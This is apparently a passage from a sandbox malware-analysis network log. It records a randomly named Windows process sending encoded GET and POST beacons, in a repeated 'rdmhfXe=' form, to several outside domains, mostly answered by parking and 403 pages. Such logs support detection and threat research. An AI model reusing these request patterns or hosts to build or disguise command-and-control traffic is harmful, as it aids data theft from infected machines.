Jan 10, 2025 20:11:25.845660925 CET	132	IN	Data Raw: 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 Data Ascii: a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Jan 10, 2025 20:11:25.845868111 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	64522	188.114.97.3	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:27.662421942 CET	446	OUT	GET /rk61/?rdmhfXe=4Jev6jkxg6xEO7DVmJ20iETfs2t7f6dacNocs9uTAtM/sd7AmwK5VubVBVupph+Y/y0F/E1wxEQcV5PZ7sI9IEZesAjm/l1NEB+do2leeTcUFeI7Uw==&AF=At8pGDY0Z HTTP/1.1 Host: www.supernutra01.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Jan 10, 2025 20:11:28.345433950 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:11:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 24 Sep 2024 07:18:31 GMT Accept-Ranges: bytes cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wHR5dJwjBpwehrKt4hWAxs00QpCviou8EE7RQIB9GGrlxIDzCCJXRrYzTfcXXgcRj%2BqMFzVFVGXXMAWAUOBFWnYWnW5UXrvi4Oce5Q%2FV55mWDzcugspfiPHOlwbcPp4pMKdS6QudSN6zpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffef9185dddef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1975&min_rtt=1975&rtt_var=987&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=446&delivery_rate=0&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 64 61 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 [TRUNCATED] Data Ascii: 2dae<!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,lab
Jan 10, 2025 20:11:28.345463037 CET	1236	IN	Data Raw: 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 6d 61 69 6e 2c 2e 77 72 61 70 70 65 72 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 2c 2e 77 69 6e 64 6f 77 2d Data Ascii: el{display:inline-block}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-he
Jan 10, 2025 20:11:28.345477104 CET	1236	IN	Data Raw: 76 67 2d 6f 6e 65 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 34 30 70 78 3b 72 69 67 68 74 3a 2d 33 36 30 70 78 3b 7a 2d 69 6e 64 65 78 3a 2d 31 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 20 2e 73 76 67 2d 74 77 6f 7b Data Ascii: vg-one{position:absolute;top:-240px;right:-360px;z-index:-1}.window-main .svg-two{position:absolute;bottom:-258px;left:-223px;z-index:-1}.window-main__title{text-align:center;padding-bottom:1.875rem;position:relative;font-weight:500;line-heigh
Jan 10, 2025 20:11:28.345489025 CET	1236	IN	Data Raw: 64 69 6e 67 2d 6c 65 66 74 3a 2e 36 38 37 35 72 65 6d 7d 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 2e 38 37 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 32 30 65 6d Data Ascii: ding-left:.6875rem}.window-main__item{padding-left:.875rem}}@media (max-width:20em){.window-main{padding:1.5rem}.window-main__title{font-size:1.5rem}.window-main__body{margin-top:1.5rem;font-size:.875rem}.window-main__info{margin-bottom:1.5rem
Jan 10, 2025 20:11:28.345503092 CET	1236	IN	Data Raw: 65 6d 20 2c 2d 30 2e 32 35 36 30 39 37 35 36 31 72 65 6d 20 2b 20 38 2e 37 38 30 34 38 37 38 30 34 39 76 77 20 2c 33 2e 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 6c 61 6d 70 28 31 2e 35 Data Ascii: em ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-top:clamp(1.5rem ,-.256097561rem + 8.7804878049vw ,3.75rem)}}@supports not (padding-top:clamp(1.5rem ,-0.256097561rem + 8.7804878049vw ,3.75rem)){.window-main{padding-top:cal
Jan 10, 2025 20:11:28.345513105 CET	1236	IN	Data Raw: 6d 20 2b 20 2e 31 38 37 35 2a 28 31 30 30 76 77 20 2d 20 32 30 72 65 6d 29 2f 20 32 35 2e 36 32 35 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 28 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 Data Ascii: m + .1875*(100vw - 20rem)/ 25.625)}}@supports (margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__info{margin-bottom:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)}}@supports not (margin-bottom:cl
Jan 10, 2025 20:11:28.345520973 CET	776	IN	Data Raw: 20 2c 31 2e 38 37 35 72 65 6d 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 6e 6f 74 20 28 6d 61 72 67 69 6e 2d 74 6f 70 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 31 2e 32 30 37 33 31 37 30 37 33 32 72 65 6d 20 2b 20 31 2e 34 36 33 34 31 34 36 33 34 Data Ascii: ,1.875rem)}}@supports not (margin-top:clamp(1.5rem ,1.2073170732rem + 1.4634146341vw ,1.875rem)){.window-main__actions,.window-main__body{margin-top:calc(1.5rem + .375*(100vw - 20rem)/ 25.625)}}}a{transition: all 0.4s; background-color: #0E0F
Jan 10, 2025 20:11:28.345525980 CET	1236	IN	Data Raw: 39 39 20 34 31 38 2e 34 37 32 20 33 36 30 2e 35 32 32 20 35 36 33 2e 34 32 31 20 33 36 30 2e 35 32 32 20 35 36 33 2e 34 32 31 5a 22 20 66 69 6c 6c 3d 22 23 30 30 34 39 38 44 22 20 2f 3e 0a 09 09 09 09 09 09 3c 2f 67 3e 0a 09 09 09 09 09 09 3c 67 Data Ascii: 99 418.472 360.522 563.421 360.522 563.421Z" fill="#00498D" /></g><g opacity="0.7" filter="url(#filter1_f_2001_5)"><ellipse cx="50.6112" cy="60.3996" rx="50.6112" ry="60.3996" transform="matrix(-0.916366 0.400341 -0.15071
Jan 10, 2025 20:11:28.345534086 CET	1236	IN	Data Raw: 22 30 22 20 72 65 73 75 6c 74 3d 22 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 22 20 2f 3e 0a 09 09 09 09 09 09 09 09 3c 66 65 42 6c 65 6e 64 20 6d 6f 64 65 3d 22 6e 6f 72 6d 61 6c 22 20 69 6e 3d 22 53 6f 75 72 63 65 47 72 61 70 68 69 Data Ascii: "0" result="BackgroundImageFix" /><feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape" /><feGaussianBlur stdDeviation="75" result="effect1_foregroundBlur_2001_5" /></filter><filter
Jan 10, 2025 20:11:28.345540047 CET	1236	IN	Data Raw: 6d 61 69 6e 20 68 61 73 20 61 6e 20 41 41 41 41 20 72 65 63 6f 72 64 2c 20 62 75 74 20 74 68 65 20 73 69 74 65 20 6f 6e 6c 79 20 77 6f 72 6b 73 20 77 69 74 68 20 49 50 76 34 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 3c 2f 6c 69 3e 0a 09 09 09 Data Ascii: main has an AAAA record, but the site only works with IPv4 on the server.</li></ul></div><div class="window-main__actions"><a href="https://kb.fastpanel.direct/troubleshoot/" class="window-main__link _link">View more
Jan 10, 2025 20:11:28.346322060 CET	648	IN	Data Raw: 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 22 20 72 65 73 75 6c 74 3d 22 73 68 61 70 65 22 20 2f 3e 0a 09 09 09 09 09 09 09 09 3c 66 65 47 61 75 73 73 69 61 6e 42 6c 75 72 20 73 74 64 44 65 76 69 61 74 69 6f 6e 3d 22 37 35 22 20 72 65 73 75 6c 74 3d Data Ascii: roundImageFix" result="shape" /><feGaussianBlur stdDeviation="75" result="effect1_foregroundBlur_2001_10" /></filter><filter id="filter1_f_2001_10" x="27.2657" y="0.225037" width="703.261" height="829.52" filterUnits="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	64523	194.245.148.189	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:33.404979944 CET	721	OUT	POST /hakt/ HTTP/1.1 Host: www.wine-drinkers.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 196 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.wine-drinkers.club Referer: http://www.wine-drinkers.club/hakt/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 55 31 38 35 2b 65 78 39 49 6a 39 41 58 51 65 43 6a 4c 75 6c 52 78 51 54 4c 74 67 6d 35 64 52 52 46 6c 5a 2b 33 47 4e 68 69 2b 44 57 67 61 47 55 45 38 6f 66 42 6c 45 79 78 33 75 37 77 4e 67 32 6d 62 6e 38 6e 37 5a 34 78 4c 4c 36 50 49 6e 30 51 6a 48 65 44 2f 70 66 4c 34 79 30 54 2f 67 77 74 79 4c 69 36 7a 5a 69 63 43 6f 4b 45 7a 67 46 57 6c 4e 6f 75 68 36 4d 6b 69 66 79 66 74 57 75 34 32 47 57 6d 61 41 68 52 6a 7a 37 55 6a 38 66 2f 68 62 38 58 51 54 57 46 79 52 48 31 4a 58 58 44 2f 71 47 5a 5a 4d 54 54 37 4c 70 51 30 65 65 6f 74 79 69 42 42 57 79 77 65 69 73 Data Ascii: rdmhfXe=U185+ex9Ij9AXQeCjLulRxQTLtgm5dRRFlZ+3GNhi+DWgaGUE8ofBlEyx3u7wNg2mbn8n7Z4xLL6PIn0QjHeD/pfL4y0T/gwtyLi6zZicCoKEzgFWlNouh6MkifyftWu42GWmaAhRjz7Uj8f/hb8XQTWFyRH1JXXD/qGZZMTT7LpQ0eeotyiBBWyweis
Jan 10, 2025 20:11:34.312269926 CET	165	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Jan 2025 19:11:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close
Jan 10, 2025 20:11:34.312556982 CET	560	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	64524	194.245.148.189	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:35.947566032 CET	745	OUT	POST /hakt/ HTTP/1.1 Host: www.wine-drinkers.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 220 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.wine-drinkers.club Referer: http://www.wine-drinkers.club/hakt/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 55 31 38 35 2b 65 78 39 49 6a 39 41 57 77 75 43 76 4d 43 6c 58 52 51 51 46 4e 67 6d 69 4e 52 4e 46 6c 46 2b 33 48 5a 50 6a 4d 58 57 68 2f 36 55 46 39 6f 66 45 6c 45 79 37 58 75 36 36 74 67 35 6d 61 62 65 6e 36 6c 34 78 4c 50 36 50 4d 6a 30 51 51 2b 73 43 76 70 5a 44 59 79 32 51 50 67 77 74 79 4c 69 36 31 31 62 63 43 67 4b 46 44 77 46 55 41 68 72 74 68 36 4c 6a 69 66 79 56 39 57 71 34 32 48 37 6d 65 59 4c 52 67 4c 37 55 68 30 66 78 55 6e 7a 65 51 54 51 4c 53 51 34 39 5a 4f 53 61 64 65 75 64 62 73 73 4c 64 4c 37 65 31 69 41 35 66 37 35 55 57 57 56 33 35 72 45 59 65 41 34 61 4f 76 63 6c 75 73 74 6f 43 57 6d 6c 4d 55 4e 46 77 3d 3d Data Ascii: rdmhfXe=U185+ex9Ij9AWwuCvMClXRQQFNgmiNRNFlF+3HZPjMXWh/6UF9ofElEy7Xu66tg5maben6l4xLP6PMj0QQ+sCvpZDYy2QPgwtyLi611bcCgKFDwFUAhrth6LjifyV9Wq42H7meYLRgL7Uh0fxUnzeQTQLSQ49ZOSadeudbssLdL7e1iA5f75UWWV35rEYeA4aOvclustoCWmlMUNFw==
Jan 10, 2025 20:11:37.284096003 CET	165	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Jan 2025 19:11:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close
Jan 10, 2025 20:11:37.285154104 CET	560	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	64525	194.245.148.189	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:38.492543936 CET	1758	OUT	POST /hakt/ HTTP/1.1 Host: www.wine-drinkers.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate, br Content-Length: 1232 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded Origin: http://www.wine-drinkers.club Referer: http://www.wine-drinkers.club/hakt/ User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 Data Raw: 72 64 6d 68 66 58 65 3d 55 31 38 35 2b 65 78 39 49 6a 39 41 57 77 75 43 76 4d 43 6c 58 52 51 51 46 4e 67 6d 69 4e 52 4e 46 6c 46 2b 33 48 5a 50 6a 4e 76 57 67 4e 43 55 44 65 41 66 48 6c 45 79 33 33 75 33 36 74 67 6b 6d 62 7a 61 6e 36 6f 44 78 4a 6e 36 4e 76 72 30 48 52 2b 73 4d 66 70 5a 50 34 79 37 54 2f 68 30 74 79 62 6d 36 7a 56 62 63 43 67 4b 46 46 30 46 51 56 4e 72 68 42 36 4d 6b 69 66 2b 66 74 57 53 34 77 75 4f 6d 65 55 78 51 52 72 37 55 43 63 66 7a 6d 50 7a 52 51 54 53 62 43 51 67 39 5a 79 5a 61 64 53 31 64 66 73 47 4c 61 2f 37 64 6a 37 33 72 65 47 67 58 51 4f 31 39 62 76 61 41 62 64 63 59 4d 66 5a 79 2f 73 44 78 6e 7a 45 6d 76 52 6f 64 34 69 72 4c 6c 4b 72 6d 76 4b 65 38 35 63 50 49 76 47 47 4f 4b 62 73 2f 35 61 39 6d 6b 48 4a 42 50 41 78 46 48 6b 66 4d 33 50 7a 77 44 2b 77 7a 45 58 44 55 34 32 67 35 51 36 69 6d 6e 38 6f 62 37 56 47 6b 78 59 72 5a 57 51 45 61 32 52 73 4c 63 77 37 64 48 79 38 4e 6b 4d 6d 4f 4a 70 2b 77 59 5a 53 7a 59 6e 7a 35 4d 35 43 52 39 4b 65 45 57 34 4a 6d 76 70 54 46 53 [TRUNCATED] Data Ascii: rdmhfXe=U185+ex9Ij9AWwuCvMClXRQQFNgmiNRNFlF+3HZPjNvWgNCUDeAfHlEy33u36tgkmbzan6oDxJn6Nvr0HR+sMfpZP4y7T/h0tybm6zVbcCgKFF0FQVNrhB6Mkif+ftWS4wuOmeUxQRr7UCcfzmPzRQTSbCQg9ZyZadS1dfsGLa/7dj73reGgXQO19bvaAbdcYMfZy/sDxnzEmvRod4irLlKrmvKe85cPIvGGOKbs/5a9mkHJBPAxFHkfM3PzwD+wzEXDU42g5Q6imn8ob7VGkxYrZWQEa2RsLcw7dHy8NkMmOJp+wYZSzYnz5M5CR9KeEW4JmvpTFSMLZ0OSDY6eVMnB835F54gD6GQ1VN2NaQhp+shwIdRy27lagop/qQfeTf1jV3SBOP2lfzEgqS02W7e7AVpe7QCs+Jt1H0HyDmwCh3Wr3JzB0uOs7GVmFHIc8HHdpwVknmPXD6wOVMEhAzYE+xRDqhXZjdcd5iZi781ye/mxvxW7iccCpttdX9s1q9m+f3kRvImblIFy1H5l2svJpdROgy4bGWZbQw4mCf5QC/704NIX4Z2rJeVwUc9VkBoJ4VaIkqJgfShh2N06sHUIxsNCOKfJKNpmlKUjGdB4rKXftjYhIA8LrvC15uJAMbd+ijFrYGcWwKWzDMiVU0K7kKtG35EFlCRinHyn5jqziYN80FzX0YW3KwlmytHUoGXkhR91xMAnv5x5Ctro93J+ZHqx7i02ZFvk4krdqgZhkbT35LS/TXpMAdLNRmEsQGDVkBPemB7vCdxX09R5newnOp+ry6EVoQ16cc1ZeRqWUYrLUptKCu2XY+8H8Ww/RYfhJ53KEJLIF1cxnQXM1XGJN4V5Cvodm0S40M79zf/ppl4BxdCorYta7XYFsu+x7LQpqGbiQteHar4RobC980N8lgWg+wDzDrzdRCrBPmzt3U2Mxboxg8wLDcg8h4aQ18RUQXuFwgIabQG7rItWRhTVtUXdCxSZuUXjVl3valaN [TRUNCATED]
Jan 10, 2025 20:11:39.489900112 CET	725	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Jan 2025 19:11:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	64526	194.245.148.189	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:11:41.032916069 CET	445	OUT	GET /hakt/?rdmhfXe=Z3UZ9pkvUTN8eySircCOaDAcK9AA6JZfB0YdpGFssPaitvOOGMcOB1EIrUeEo9sxw4W4nK9e2r79OuzvY2TkP9tUb4eHWat+jQL942ZrdRgvNUE9NQ==&AF=At8pGDY0Z HTTP/1.1 Host: www.wine-drinkers.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Jan 10, 2025 20:11:41.789422035 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 19:11:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1840 Last-Modified: Tue, 04 Apr 2017 13:56:46 GMT Connection: close ETag: "58e3a61e-730" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 54 68 65 20 61 62 6f 76 65 20 33 20 6d 65 74 61 20 74 61 67 73 20 2a 6d 75 73 74 2a 20 63 6f 6d 65 20 66 69 72 73 74 20 69 6e 20 74 68 65 20 68 65 61 64 3b 20 61 6e 79 20 6f 74 68 65 72 20 68 65 61 64 20 63 6f 6e 74 65 6e 74 20 6d 75 73 74 20 63 6f 6d 65 20 2a 61 66 74 65 72 2a 20 74 68 65 73 65 20 74 61 67 73 20 2d 2d 3e 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> ... The above 3 meta tags must come first in the head; any other head content must come after these tags --> <meta name="description" content=""> <meta name="author" content=""> <meta http-equiv="refresh" content="5;url=/" /> <link rel="icon" href="../../favicon.ico"> <title>The requested page does not exist or is temporarily not available</title> ... Bootstrap core CSS --> <link href="./css/bootstrap.min.css" rel="stylesheet"> ... Custom styles for this template --> <link href="./css/parkingpage.css" rel="stylesheet"> </head> <body> <div class="container-fluid"> <div class="header clearfix"> <h3 class="text-muted"><img src="./images/JokerLogo2x.png"></h3> </div> </div><div class="
Jan 10, 2025 20:11:41.789444923 CET	846	IN	Data Raw: 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 75 6d 62 6f 74 72 6f 6e 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 64 69 73 70 6c 61 79 2d 33 22 3e 34 30 34 20 2d 20 70 61 67 65 Data Ascii: container"> <div class="jumbotron"> <h1 class="display-3">404 - page not found</h1> <p class="lead">The page that you have requested may have moved or does not exist. Please check the URL for proper spelling and capitaliz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	64527	63.250.43.134	80	6568	C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe

Timestamp	Bytes transferred	Direction	Data
